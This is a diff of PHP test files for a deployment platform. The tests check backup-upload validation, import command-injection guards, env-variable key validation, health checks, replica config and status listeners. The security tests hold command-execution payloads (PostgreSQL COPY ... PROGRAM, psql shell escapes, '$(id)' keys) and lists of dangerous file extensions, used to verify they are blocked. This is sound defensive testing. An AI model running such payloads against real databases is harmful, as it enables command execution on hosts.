-    test('rejects extra fields not in allowed list', function () {
-        $response = $this->withHeaders([
-            'Authorization' => 'Bearer '.$this->bearerToken,
-            'Content-Type' => 'application/json',
-        ])->postJson('/api/v1/databases/test-db-uuid/backups', [
-            'frequency' => 'daily',
-            'invalid_field' => 'invalid_value',
-        ]);
-
-        expect($response->status())->toBeIn([404, 422]);
-    });
-});

tests/Feature/DatabaseBackupUploadValidationTest.php

@@ -0,0 +1,240 @@
+<?php
+
+use App\Http\Controllers\UploadController;
+use App\Livewire\Project\Database\ImportForm;
+use App\Models\StandalonePostgresql;
+use App\Support\DatabaseBackupFileValidator;
+use Illuminate\Http\UploadedFile;
+use Illuminate\Support\Facades\Process;
+
+function writeScanPayload(string $content, bool $gzip = false): string
+{
+    $path = tempnam(sys_get_temp_dir(), 'coolify-scan-payload-');
+    file_put_contents($path, $gzip ? gzencode($content) : $content);
+
+    return $path;
+}
+
+/**
+ * Execute the real shell scanner snippet (as it runs inside the container)
+ * against a local payload file and return true when the restore is blocked.
+ */
+function scannerBlocks(string $script): bool
+{
+    return Process::run(['sh', '-c', $script])->exitCode() === 1;
+}
+
+function invokeHasAllowedExtension(string $name): bool
+{
+    $method = new ReflectionMethod(UploadController::class, 'hasAllowedExtension');
+    $method->setAccessible(true);
+
+    return $method->invoke(null, $name);
+}
+
+function backupValidationImportFormWithResource(string $modelClass): ImportForm
+{
+    $component = new class extends ImportForm
+    {
+        public $resource;
+    };
+
+    $database = Mockery::mock($modelClass);
+    $database->shouldReceive('getMorphClass')->andReturn($modelClass);
+    $component->resource = $database;
+
+    return $component;
+}
+
+function makeTemporaryUpload(string $name, string $content): UploadedFile
+{
+    $path = tempnam(sys_get_temp_dir(), 'coolify-upload-test-');
+    file_put_contents($path, $content);
+
+    return new UploadedFile($path, $name, null, null, true);
+}
+
+test('hasAllowedExtension accepts supported extensions', function (string $name) {
+    expect(invokeHasAllowedExtension($name))->toBeTrue();
+})->with([
+    'plain sql' => ['backup.sql'],
+    'uppercase sql' => ['BACKUP.SQL'],
+    'compound sql.gz' => ['backup.sql.gz'],
+    'compound tar.gz' => ['backup.tar.gz'],
+    'tgz' => ['archive.tgz'],
+    'zip' => ['dump.zip'],
+    'tar' => ['dump.tar'],
+    'gz' => ['data.gz'],
+    'dump' => ['data.dump'],
+    'bak' => ['data.bak'],
+    'bson' => ['data.bson'],
+    'bson.gz' => ['data.bson.gz'],
+    'archive' => ['data.archive'],
+    'archive.gz' => ['data.archive.gz'],
+    'bz2' => ['data.bz2'],
+    'xz' => ['data.xz'],
+]);
+
+test('hasAllowedExtension rejects unsupported or empty stems', function (string $name) {
+    expect(invokeHasAllowedExtension($name))->toBeFalse();
+})->with([
+    'php' => ['shell.php'],
+    'phtml' => ['shell.phtml'],
+    'sh' => ['run.sh'],
+    'exe' => ['malware.exe'],
+    'elf binary no ext' => ['payload'],
+    'html' => ['index.html'],
+    'bare compound without stem' => ['.sql.gz'],
+    'bare extension' => ['.sql'],
+    'empty string' => [''],
+    'misleading double ext' => ['shell.php.sql-evil'],
+]);
+
+test('hasAllowedExtension rejects dangerous double extensions', function (string $name) {
+    expect(invokeHasAllowedExtension($name))->toBeFalse();
+})->with([
+    'php sql' => ['evil.php.sql'],
+    'php gzip' => ['evil.php.gz'],
+    'shell tar' => ['evil.sh.tar'],
+    'php tar gzip' => ['shell.php.tar.gz'],
+    'exe zip' => ['cmd.exe.zip'],
+    'jsp sql' => ['evil.jsp.sql'],
+]);
+
+test('backup validator rejects content that does not match the backup extension', function () {
+    $file = makeTemporaryUpload('payload.sql.gz', 'not actually gzip');
+
+    expect(DatabaseBackupFileValidator::isUploadAllowed($file, 10 * 1024 * 1024))->toBeFalse();
+});
+
+test('backup validator accepts valid plain sql and gzip backup content', function () {
+    $plainSql = makeTemporaryUpload('backup.sql', "CREATE TABLE users (id integer);\n");
+    $gzipSql = makeTemporaryUpload('backup.sql.gz', gzencode("CREATE TABLE users (id integer);\n"));
+
+    expect(DatabaseBackupFileValidator::isUploadAllowed($plainSql, 10 * 1024 * 1024))->toBeTrue()
+        ->and(DatabaseBackupFileValidator::isUploadAllowed($gzipSql, 10 * 1024 * 1024))->toBeTrue();
+});
+
+test('postgresql backup safety scanner detects program execution payloads', function (string $payload) {
+    expect(DatabaseBackupFileValidator::containsPostgresqlProgramExecution($payload))->toBeTrue();
+})->with([
+    'copy from program' => ["COPY pwned FROM PROGRAM 'id';"],
+    'copy to program' => ["COPY pwned TO PROGRAM 'cat > /tmp/out';"],
+    'copy with block comment' => ["COPY pwned FROM/**/PROGRAM 'id';"],
+    'psql shell command' => ["\\! id\n"],
+    'psql copy program' => ["\\copy pwned from program 'id'\n"],
+]);
+
+test('postgresql backup safety scanner allows ordinary sql dumps', function () {
+    $dump = <<<'SQL'
+-- PostgreSQL database dump
+CREATE TABLE users (id integer, name text);
+COPY users (id, name) FROM stdin;
+1	Taylor
+\.
+SQL;
+
+    expect(DatabaseBackupFileValidator::containsPostgresqlProgramExecution($dump))->toBeFalse();
+});
+
+test('postgresql restore commands include a safety check before execution', function () {
+    $component = new class extends ImportForm
+    {
+        public function __get($property)
+        {
+            if ($property === 'resource') {
+                return new class
+                {
+                    public function getMorphClass(): string
+                    {
+                        return StandalonePostgresql::class;
+                    }
+                };
+            }
+
+            return parent::__get($property);
+        }
+    };
+    $component->container = 'postgres-test';
+
+    $command = $component->buildRestoreSafetyCheckCommand('/tmp/restore_test');
+
+    expect($command)
+        ->toContain('docker exec postgres-test')
+        ->toContain('COPY ... PROGRAM')
+        ->toContain('/tmp/restore_test')
+        ->toContain('grep -Eiq');
+});
+
+test('non postgresql restore commands do not include a safety check', function () {
+    $component = backupValidationImportFormWithResource('App\Models\StandaloneMysql');
+    $component->container = 'mysql-test';
+
+    expect($component->buildRestoreSafetyCheckCommand('/tmp/restore_test'))->toBeNull();
+});
+
+test('file scanner detects program execution payloads inside gzipped backups', function () {
+    $gzPayload = writeScanPayload("CREATE TABLE x();\nCOPY x FROM/**/PROGRAM 'id';\n", gzip: true);
+
+    expect(DatabaseBackupFileValidator::fileContainsPostgresqlProgramExecution($gzPayload))->toBeTrue();
+});
+
+test('file scanner allows ordinary gzipped dumps', function () {
+    $gzClean = writeScanPayload("CREATE TABLE x();\nCOPY x FROM stdin;\n1\\.\n", gzip: true);
+
+    expect(DatabaseBackupFileValidator::fileContainsPostgresqlProgramExecution($gzClean))->toBeFalse();
+});
+
+test('backup validator rejects plaintext .dump containing program execution', function () {
+    $file = makeTemporaryUpload('evil.dump', "COPY x FROM PROGRAM 'id';\n");
+
+    expect(DatabaseBackupFileValidator::isUploadAllowed($file, 10 * 1024 * 1024))->toBeFalse();
+});
+
+test('remote postgresql scanner blocks bypass payloads', function (string $content, bool $gzip) {
+    $component = backupValidationImportFormWithResource(StandalonePostgresql::class);
+    $component->container = 'postgres-test';
+
+    $payload = writeScanPayload($content, $gzip);
+    $script = $component->buildPostgresRestoreScanScript($payload);
+
+    expect(scannerBlocks($script))->toBeTrue();
+})->with([
+    'psql shell escape' => ["\\! id\n", false],
+    'copy from program' => ["COPY x FROM PROGRAM 'id';\n", false],
+    'copy with block comment' => ["COPY x FROM/**/PROGRAM 'id';\n", false],
+    'copy split across lines' => ["COPY x FROM\nPROGRAM 'id';\n", false],
+    'copy to program' => ["COPY x TO PROGRAM 'cat > /tmp/x';\n", false],
+    'psql pipe redirect' => ["\\o | id\n", false],
+    'gzipped comment bypass' => ["COPY x FROM/**/PROGRAM 'id';\n", true],
+]);
+
+test('remote postgresql scanner allows legitimate restores', function (string $content, bool $gzip) {
+    $component = backupValidationImportFormWithResource(StandalonePostgresql::class);
+    $component->container = 'postgres-test';
+
+    $payload = writeScanPayload($content, $gzip);
+    $script = $component->buildPostgresRestoreScanScript($payload);
+
+    expect(scannerBlocks($script))->toBeFalse();
+})->with([
+    'commented out payload' => ["-- COPY x FROM PROGRAM 'id'\nSELECT 1;\n", false],
+    'copy from stdin' => ["COPY users FROM stdin;\n1\tTaylor\n\\.\n", false],
+    'plain select' => ["SELECT * FROM users;\n", false],
+    'gzipped clean dump' => ["CREATE TABLE users (id int);\n", true],
+]);
+
+test('MAX_BYTES constant is 10 GiB', function () {
+    $constant = (new ReflectionClass(UploadController::class))->getConstant('MAX_BYTES');
+    expect($constant)->toBe(10 * 1024 * 1024 * 1024);
+});
+
+test('ALLOWED_EXTENSIONS does not include executable formats', function () {
+    $constant = (new ReflectionClass(UploadController::class))->getConstant('ALLOWED_EXTENSIONS');
+    expect($constant)->toBeArray();
+
+    $forbidden = ['php', 'phtml', 'php5', 'sh', 'bash', 'exe', 'js', 'html', 'htm', 'pl', 'py'];
+    foreach ($forbidden as $bad) {
+        expect($constant)->not->toContain($bad);
+    }
+});

tests/Feature/DatabaseEnvironmentVariableApiTest.php

@@ -14,7 +14,7 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
 uses(RefreshDatabase::class);
 
 beforeEach(function () {
-    InstanceSettings::updateOrCreate(['id' => 0]);
+    InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0], ['is_api_enabled' => true]));
 
     $this->team = Team::factory()->create();
     $this->user = User::factory()->create();
@@ -33,7 +33,7 @@ beforeEach(function () {
 
 function createDatabase($context): StandalonePostgresql
 {
-    return StandalonePostgresql::forceCreate([
+    return StandalonePostgresql::create([
         'name' => 'test-postgres',
         'image' => 'postgres:15-alpine',
         'postgres_user' => 'postgres',
@@ -344,3 +344,44 @@ describe('DELETE /api/v1/databases/{uuid}/envs/{env_uuid}', function () {
         $response->assertStatus(404);
     });
 });
+
+describe('environment variable key validation for database APIs', function () {
+    test('rejects invalid database environment variable keys on create update and bulk', function () {
+        $database = createDatabase($this);
+
+        EnvironmentVariable::create([
+            'key' => 'SAFE_KEY',
+            'value' => 'old-value',
+            'resourceable_type' => StandalonePostgresql::class,
+            'resourceable_id' => $database->id,
+        ]);
+
+        $headers = [
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ];
+
+        $this->withHeaders($headers)
+            ->postJson("/api/v1/databases/{$database->uuid}/envs", [
+                'key' => 'BAD$(id)',
+                'value' => '1',
+            ])
+            ->assertStatus(422);
+
+        $this->withHeaders($headers)
+            ->patchJson("/api/v1/databases/{$database->uuid}/envs", [
+                'key' => 'BAD$(id)',
+                'value' => '1',
+            ])
+            ->assertStatus(422);
+
+        $this->withHeaders($headers)
+            ->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
+                'data' => [[
+                    'key' => 'BAD$(id)',
+                    'value' => '1',
+                ]],
+            ])
+            ->assertStatus(422);
+    });
+});

tests/Feature/DatabaseHealthCheckTest.php

@@ -0,0 +1,175 @@
+<?php
+
+use App\Livewire\Project\Database\Health;
+use App\Models\StandalonePostgresql;
+use Illuminate\Auth\Access\AuthorizationException;
+
+it('defaults to an enabled healthcheck when nothing is configured', function () {
+    $database = new StandalonePostgresql;
+
+    expect($database->isHealthcheckEnabled())->toBeTrue();
+});
+
+it('builds the compose healthcheck block from the model timing fields', function () {
+    $database = new StandalonePostgresql([
+        'health_check_interval' => 30,
+        'health_check_timeout' => 7,
+        'health_check_retries' => 4,
+        'health_check_start_period' => 12,
+    ]);
+
+    $config = $database->healthCheckConfiguration(['CMD', 'pg_isready']);
+
+    expect($config)->toBe([
+        'test' => ['CMD', 'pg_isready'],
+        'interval' => '30s',
+        'timeout' => '7s',
+        'retries' => 4,
+        'start_period' => '12s',
+    ]);
+});
+
+it('falls back to safe defaults when timing fields are missing', function () {
+    $database = new StandalonePostgresql;
+
+    $config = $database->healthCheckConfiguration(['CMD', 'pg_isready']);
+
+    expect($config['interval'])->toBe('15s')
+        ->and($config['timeout'])->toBe('5s')
+        ->and($config['retries'])->toBe(5)
+        ->and($config['start_period'])->toBe('5s');
+});
+
+it('reports the healthcheck as disabled when the flag is false', function () {
+    $database = new StandalonePostgresql(['health_check_enabled' => false]);
+
+    expect($database->isHealthcheckEnabled())->toBeFalse();
+});
+
+it('uses distinct hash fragments for ambiguous healthcheck values', function () {
+    $enabledDatabase = new StandalonePostgresql([
+        'health_check_enabled' => true,
+        'health_check_interval' => 5,
+        'health_check_timeout' => 5,
+        'health_check_retries' => 5,
+        'health_check_start_period' => 5,
+    ]);
+
+    $disabledDatabase = new StandalonePostgresql([
+        'health_check_enabled' => false,
+        'health_check_interval' => 15,
+        'health_check_timeout' => 5,
+        'health_check_retries' => 5,
+        'health_check_start_period' => 5,
+    ]);
+
+    $getHashFragment = function () {
+        return $this->healthCheckConfigurationHash();
+    };
+
+    expect($getHashFragment->call($enabledDatabase))
+        ->toBe('1|5|5|5|5')
+        ->not->toBe($getHashFragment->call($disabledDatabase))
+        ->and($getHashFragment->call($disabledDatabase))->toBe('0|15|5|5|5');
+});
+
+it('does not mark configuration changed when health update authorization fails', function () {
+    $database = new class
+    {
+        public ?string $config_hash = null;
+
+        public int $configurationChangedChecks = 0;
+
+        public function isConfigurationChanged(bool $save = false): bool
+        {
+            $this->configurationChangedChecks++;
+
+            return true;
+        }
+    };
+
+    $component = new class extends Health
+    {
+        public array $dispatchedEvents = [];
+
+        public function authorize($ability, $arguments = [])
+        {
+            throw new AuthorizationException('This action is unauthorized.');
+        }
+
+        public function dispatch($event, ...$params)
+        {
+            $this->dispatchedEvents[] = $event;
+
+            return null;
+        }
+    };
+
+    $component->database = $database;
+    $component->submit();
+
+    expect($database->configurationChangedChecks)->toBe(0)
+        ->and($component->dispatchedEvents)->toBe(['error']);
+});
+
+it('toggles database healthcheck and marks configuration changed', function () {
+    $database = new class
+    {
+        public ?string $config_hash = 'existing';
+
+        public bool $health_check_enabled = false;
+
+        public int $health_check_interval = 15;
+
+        public int $health_check_timeout = 5;
+
+        public int $health_check_retries = 5;
+
+        public int $health_check_start_period = 5;
+
+        public int $saveCalls = 0;
+
+        public function save(): void
+        {
+            $this->saveCalls++;
+        }
+    };
+
+    $component = new class extends Health
+    {
+        public array $dispatchedEvents = [];
+
+        public function authorize($ability, $arguments = [])
+        {
+            return true;
+        }
+
+        public function dispatch($event, ...$params)
+        {
+            $this->dispatchedEvents[] = $event;
+
+            return null;
+        }
+
+        public function syncData(bool $toModel = false): void
+        {
+            if ($toModel) {
+                $this->database->health_check_enabled = $this->healthCheckEnabled;
+                $this->database->save();
+            }
+        }
+    };
+
+    $component->database = $database;
+    $component->healthCheckEnabled = false;
+    $component->healthCheckInterval = 15;
+    $component->healthCheckTimeout = 5;
+    $component->healthCheckRetries = 5;
+    $component->healthCheckStartPeriod = 5;
+
+    $component->toggleHealthcheck();
+
+    expect($database->health_check_enabled)->toBeTrue()
+        ->and($database->saveCalls)->toBe(1)
+        ->and($component->dispatchedEvents)->toBe(['success', 'configurationChanged']);
+});

tests/Feature/DatabaseImportCommandInjectionTest.php

@@ -1,7 +1,8 @@
 <?php
 
-use App\Livewire\Project\Database\Import;
+use App\Livewire\Project\Database\ImportForm;
 use App\Support\ValidationPatterns;
+use Livewire\Attributes\Locked;
 
 describe('container name validation', function () {
     test('isValidContainerName accepts valid container names', function () {
@@ -45,43 +46,43 @@ describe('container name validation', function () {
 
 describe('locked properties', function () {
     test('container property has Locked attribute', function () {
-        $property = new ReflectionProperty(Import::class, 'container');
-        $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+        $property = new ReflectionProperty(ImportForm::class, 'container');
+        $attributes = $property->getAttributes(Locked::class);
 
         expect($attributes)->not->toBeEmpty();
     });
 
     test('serverId property has Locked attribute', function () {
-        $property = new ReflectionProperty(Import::class, 'serverId');
-        $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+        $property = new ReflectionProperty(ImportForm::class, 'serverId');
+        $attributes = $property->getAttributes(Locked::class);
 
         expect($attributes)->not->toBeEmpty();
     });
 
     test('resourceId property has Locked attribute', function () {
-        $property = new ReflectionProperty(Import::class, 'resourceId');
-        $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+        $property = new ReflectionProperty(ImportForm::class, 'resourceId');
+        $attributes = $property->getAttributes(Locked::class);
 
         expect($attributes)->not->toBeEmpty();
     });
 
     test('resourceType property has Locked attribute', function () {
-        $property = new ReflectionProperty(Import::class, 'resourceType');
-        $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+        $property = new ReflectionProperty(ImportForm::class, 'resourceType');
+        $attributes = $property->getAttributes(Locked::class);
 
         expect($attributes)->not->toBeEmpty();
     });
 
     test('resourceUuid property has Locked attribute', function () {
-        $property = new ReflectionProperty(Import::class, 'resourceUuid');
-        $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+        $property = new ReflectionProperty(ImportForm::class, 'resourceUuid');
+        $attributes = $property->getAttributes(Locked::class);
 
         expect($attributes)->not->toBeEmpty();
     });
 
     test('resourceDbType property has Locked attribute', function () {
-        $property = new ReflectionProperty(Import::class, 'resourceDbType');
-        $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+        $property = new ReflectionProperty(ImportForm::class, 'resourceDbType');
+        $attributes = $property->getAttributes(Locked::class);
 
         expect($attributes)->not->toBeEmpty();
     });
@@ -89,7 +90,7 @@ describe('locked properties', function () {
 
 describe('server method uses team scoping', function () {
     test('server computed property calls ownedByCurrentTeam', function () {
-        $method = new ReflectionMethod(Import::class, 'server');
+        $method = new ReflectionMethod(ImportForm::class, 'server');
 
         // Extract the server method body
         $startLine = $method->getStartLine();
@@ -102,9 +103,9 @@ describe('server method uses team scoping', function () {
     });
 });
 
-describe('Import component uses shared ValidationPatterns', function () {
+describe('ImportForm component uses shared ValidationPatterns', function () {
     test('runImport references ValidationPatterns for container validation', function () {
-        $method = new ReflectionMethod(Import::class, 'runImport');
+        $method = new ReflectionMethod(ImportForm::class, 'runImport');
         $startLine = $method->getStartLine();
         $endLine = $method->getEndLine();
         $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
@@ -114,7 +115,7 @@ describe('Import component uses shared ValidationPatterns', function () {
     });
 
     test('restoreFromS3 references ValidationPatterns for container validation', function () {
-        $method = new ReflectionMethod(Import::class, 'restoreFromS3');
+        $method = new ReflectionMethod(ImportForm::class, 'restoreFromS3');
         $startLine = $method->getStartLine();
         $endLine = $method->getEndLine();
         $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);

tests/Feature/DatabaseImportFormAuthorizationTest.php

@@ -0,0 +1,20 @@
+<?php
+
+it('declares explicit authorization on database import form controls', function () {
+    $view = file_get_contents(resource_path('views/livewire/project/database/import-form.blade.php'));
+
+    preg_match_all(
+        '/<x-forms\.(button|input|select|checkbox|textarea)\b[^>]*>/s',
+        $view,
+        $matches,
+        PREG_OFFSET_CAPTURE
+    );
+
+    $missingAuthorization = collect($matches[0])
+        ->filter(fn (array $match): bool => ! str_contains($match[0], 'canGate=') || ! str_contains($match[0], 'canResource='))
+        ->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0])))
+        ->values()
+        ->all();
+
+    expect($missingAuthorization)->toBeEmpty();
+});

tests/Feature/DatabasePublicPortTimeoutApiTest.php

@@ -33,7 +33,7 @@ beforeEach(function () {
 
 describe('PATCH /api/v1/databases', function () {
     test('updates public_port_timeout on a postgresql database', function () {
-        $database = StandalonePostgresql::forceCreate([
+        $database = StandalonePostgresql::create([
             'name' => 'test-postgres',
             'image' => 'postgres:15-alpine',
             'postgres_user' => 'postgres',
@@ -57,7 +57,7 @@ describe('PATCH /api/v1/databases', function () {
     });
 
     test('updates public_port_timeout on a redis database', function () {
-        $database = StandaloneRedis::forceCreate([
+        $database = StandaloneRedis::create([
             'name' => 'test-redis',
             'image' => 'redis:7',
             'redis_password' => 'password',
@@ -79,7 +79,7 @@ describe('PATCH /api/v1/databases', function () {
     });
 
     test('rejects invalid public_port_timeout value', function () {
-        $database = StandalonePostgresql::forceCreate([
+        $database = StandalonePostgresql::create([
             'name' => 'test-postgres',
             'image' => 'postgres:15-alpine',
             'postgres_user' => 'postgres',
@@ -101,7 +101,7 @@ describe('PATCH /api/v1/databases', function () {
     });
 
     test('accepts null public_port_timeout', function () {
-        $database = StandalonePostgresql::forceCreate([
+        $database = StandalonePostgresql::create([
             'name' => 'test-postgres',
             'image' => 'postgres:15-alpine',
             'postgres_user' => 'postgres',

tests/Feature/DatabaseReplicaConfigTest.php

@@ -0,0 +1,74 @@
+<?php
+
+/*
+ * Verifies the opt-in read/write replica split in config/database.php.
+ * The config file is re-required under different putenv() states so the
+ * env() calls re-evaluate, then the resulting pgsql array shape is asserted.
+ */
+
+function loadDbConfig(): array
+{
+    return require base_path('config/database.php');
+}
+
+afterEach(function () {
+    foreach ([
+        'DB_READ_HOST', 'DB_READ_PORT', 'DB_READ_USERNAME', 'DB_READ_PASSWORD',
+        'DB_WRITE_HOST', 'DB_WRITE_PORT', 'DB_WRITE_USERNAME', 'DB_WRITE_PASSWORD',
+        'DB_STICKY',
+    ] as $key) {
+        putenv($key);
+    }
+});
+
+it('has no replica keys when DB_READ_HOST is unset', function () {
+    $pgsql = loadDbConfig()['connections']['pgsql'];
+
+    expect($pgsql)
+        ->not->toHaveKey('read')
+        ->not->toHaveKey('write')
+        ->not->toHaveKey('sticky')
+        ->and($pgsql['driver'])->toBe('pgsql');
+});
+
+it('enables the read/write split when DB_READ_HOST is set', function () {
+    putenv('DB_READ_HOST=replica1, replica2');
+
+    $pgsql = loadDbConfig()['connections']['pgsql'];
+
+    expect($pgsql)
+        ->toHaveKey('read')
+        ->toHaveKey('write')
+        ->and($pgsql['read']['host'])->toBe(['replica1', 'replica2'])
+        ->and($pgsql['sticky'])->toBeTrue();
+});
+
+it('falls back to DB_* values for unset replica options', function () {
+    putenv('DB_READ_HOST=replica1');
+
+    $pgsql = loadDbConfig()['connections']['pgsql'];
+
+    expect($pgsql['read']['port'])->toBe(env('DB_PORT', '5432'))
+        ->and($pgsql['read']['username'])->toBe(env('DB_USERNAME', 'coolify'))
+        ->and($pgsql['write']['host'])->toBe([env('DB_HOST', 'coolify-db')]);
+});
+
+it('respects discrete replica overrides', function () {
+    putenv('DB_READ_HOST=replica1');
+    putenv('DB_READ_PORT=6432');
+    putenv('DB_READ_USERNAME=reader');
+
+    $pgsql = loadDbConfig()['connections']['pgsql'];
+
+    expect($pgsql['read']['port'])->toBe('6432')
+        ->and($pgsql['read']['username'])->toBe('reader');
+});
+
+it('disables sticky reads when DB_STICKY is false', function () {
+    putenv('DB_READ_HOST=replica1');
+    putenv('DB_STICKY=false');
+
+    $pgsql = loadDbConfig()['connections']['pgsql'];
+
+    expect($pgsql['sticky'])->toBeFalse();
+});

tests/Feature/DatabaseSslStatusRefreshTest.php

@@ -0,0 +1,289 @@
+<?php
+
+use App\Livewire\Project\Application\Configuration as ApplicationConfiguration;
+use App\Livewire\Project\Application\ServerStatusBadge;
+use App\Livewire\Project\Database\Clickhouse\General as ClickhouseGeneral;
+use App\Livewire\Project\Database\Clickhouse\StatusInfo as ClickhouseStatusInfo;
+use App\Livewire\Project\Database\Dragonfly\General as DragonflyGeneral;
+use App\Livewire\Project\Database\Dragonfly\StatusInfo as DragonflyStatusInfo;
+use App\Livewire\Project\Database\Import as DatabaseImport;
+use App\Livewire\Project\Database\ImportForm as DatabaseImportForm;
+use App\Livewire\Project\Database\Keydb\General as KeydbGeneral;
+use App\Livewire\Project\Database\Keydb\StatusInfo as KeydbStatusInfo;
+use App\Livewire\Project\Database\Mariadb\General as MariadbGeneral;
+use App\Livewire\Project\Database\Mariadb\StatusInfo as MariadbStatusInfo;
+use App\Livewire\Project\Database\Mongodb\General as MongodbGeneral;
+use App\Livewire\Project\Database\Mongodb\StatusInfo as MongodbStatusInfo;
+use App\Livewire\Project\Database\Mysql\General as MysqlGeneral;
+use App\Livewire\Project\Database\Mysql\StatusInfo as MysqlStatusInfo;
+use App\Livewire\Project\Database\Postgresql\General as PostgresqlGeneral;
+use App\Livewire\Project\Database\Postgresql\StatusInfo as PostgresqlStatusInfo;
+use App\Livewire\Project\Database\Redis\General as RedisGeneral;
+use App\Livewire\Project\Database\Redis\StatusInfo as RedisStatusInfo;
+use App\Livewire\Project\Service\Configuration as ServiceConfiguration;
+use App\Livewire\Project\Service\ResourceCard as ServiceResourceCard;
+use App\Livewire\Server\Sentinel;
+use App\Livewire\Server\Show;
+use App\Models\Environment;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Service;
+use App\Models\ServiceApplication;
+use App\Models\StandaloneDocker;
+use App\Models\StandaloneMysql;
+use App\Models\StandaloneRedis;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+});
+
+dataset('database-general-forms-without-broadcasts', [
+    // Status-derived display moved into a sibling StatusInfo component for each DB,
+    // so the form itself takes no broadcast listeners and cannot clobber wire:dirty
+    // by absorbing deferred wire:model values during a status-triggered roundtrip.
+    RedisGeneral::class,
+    PostgresqlGeneral::class,
+    MysqlGeneral::class,
+    MariadbGeneral::class,
+    MongodbGeneral::class,
+    KeydbGeneral::class,
+    DragonflyGeneral::class,
+    ClickhouseGeneral::class,
+    DatabaseImportForm::class,
+    ServiceConfiguration::class,
+    ApplicationConfiguration::class,
+]);
+
+dataset('database-status-info-components', [
+    RedisStatusInfo::class,
+    PostgresqlStatusInfo::class,
+    MysqlStatusInfo::class,
+    MariadbStatusInfo::class,
+    MongodbStatusInfo::class,
+    KeydbStatusInfo::class,
+    DragonflyStatusInfo::class,
+    ClickhouseStatusInfo::class,
+]);
+
+dataset('display-only-status-components', [
+    RedisStatusInfo::class,
+    PostgresqlStatusInfo::class,
+    MysqlStatusInfo::class,
+    MariadbStatusInfo::class,
+    MongodbStatusInfo::class,
+    KeydbStatusInfo::class,
+    DragonflyStatusInfo::class,
+    ClickhouseStatusInfo::class,
+    DatabaseImport::class,
+    ServiceResourceCard::class,
+    ServerStatusBadge::class,
+]);
+
+it('does not subscribe the form to status broadcasts when display lives in a sibling', function (string $componentClass) {
+    // Regression guard for coolify#6062 / #6354 / #9695:
+    // Status broadcasts on the form would trigger a Livewire roundtrip that absorbs
+    // deferred wire:model values into the snapshot — clobbering both the typed text
+    // (resolved by the earlier refreshStatus fix) and the wire:dirty indicator.
+    $listeners = resolveLivewireListeners(app($componentClass));
+
+    expect($listeners)
+        ->not->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged")
+        ->not->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked")
+        ->not->toHaveKey("echo-private:team.{$this->team->id},ServiceStatusChanged");
+})->with('database-general-forms-without-broadcasts');
+
+/**
+ * Resolve a Livewire component's listeners regardless of whether the subclass
+ * exposes getListeners() publicly or only declares a $listeners array — the
+ * HandlesEvents trait keeps getListeners() protected by default.
+ */
+function resolveLivewireListeners(object $component): array
+{
+    $method = new ReflectionMethod($component, 'getListeners');
+    $method->setAccessible(true);
+
+    return (array) $method->invoke($component);
+}
+
+it('auto-refreshes status-info sibling on database status broadcasts', function (string $componentClass) {
+    // Status-derived display (connection URLs, SSL gate hint, cert expiry) lives in a sibling
+    // Livewire component so it can re-render on broadcasts without touching the form's DOM.
+    $listeners = resolveLivewireListeners(app($componentClass));
+
+    expect($listeners)
+        ->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged")
+        ->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked");
+})->with('database-status-info-components');
+
+it('keeps realtime status listeners on display-only components instead of form owners', function (string $componentClass) {
+    $listeners = resolveLivewireListeners(app($componentClass));
+
+    expect($listeners)->not->toBeEmpty();
+})->with('display-only-status-components');
+
+it('refreshes a service resource card without refreshing the service configuration form owner', function () {
+    $server = Server::factory()->create(['team_id' => $this->team->id]);
+    $destination = StandaloneDocker::where('server_id', $server->id)->first();
+    $project = Project::factory()->create(['team_id' => $this->team->id]);
+    $environment = Environment::factory()->create(['project_id' => $project->id]);
+    $service = Service::create([
+        'name' => 'status-card-service',
+        'environment_id' => $environment->id,
+        'server_id' => $server->id,
+        'destination_id' => $destination->id,
+        'destination_type' => $destination->getMorphClass(),
+        'docker_compose_raw' => 'services: {}',
+    ]);
+    $serviceApplication = ServiceApplication::create([
+        'service_id' => $service->id,
+        'name' => 'web',
+        'image' => 'nginx:latest',
+        'status' => 'exited:unhealthy',
+    ]);
+    $parameters = [
+        'project_uuid' => $project->uuid,
+        'environment_uuid' => $environment->uuid,
+        'service_uuid' => $service->uuid,
+    ];
+
+    $component = Livewire::test(ServiceResourceCard::class, [
+        'service' => $service,
+        'resource' => $serviceApplication,
+        'parameters' => $parameters,
+    ]);
+
+    $serviceApplication->fill(['status' => 'running:healthy'])->save();
+
+    $component->call('refreshResource');
+
+    expect($component->instance()->resource->status)->toBe('running:healthy');
+});
+
+it('refreshes database import status from stored resource identity after the route context is gone', function () {
+    $server = Server::factory()->create(['team_id' => $this->team->id]);
+    $destination = StandaloneDocker::where('server_id', $server->id)->first();
+    $project = Project::factory()->create(['team_id' => $this->team->id]);
+    $environment = Environment::factory()->create(['project_id' => $project->id]);
+    $database = StandaloneMysql::create([
+        'name' => 'import-status-mysql',
+        'image' => 'mysql:8',
+        'mysql_root_password' => 'password',
+        'mysql_user' => 'coolify',
+        'mysql_password' => 'password',
+        'mysql_database' => 'coolify',
+        'status' => 'exited:unhealthy',
+        'is_log_drain_enabled' => false,
+        'environment_id' => $environment->id,
+        'destination_id' => $destination->id,
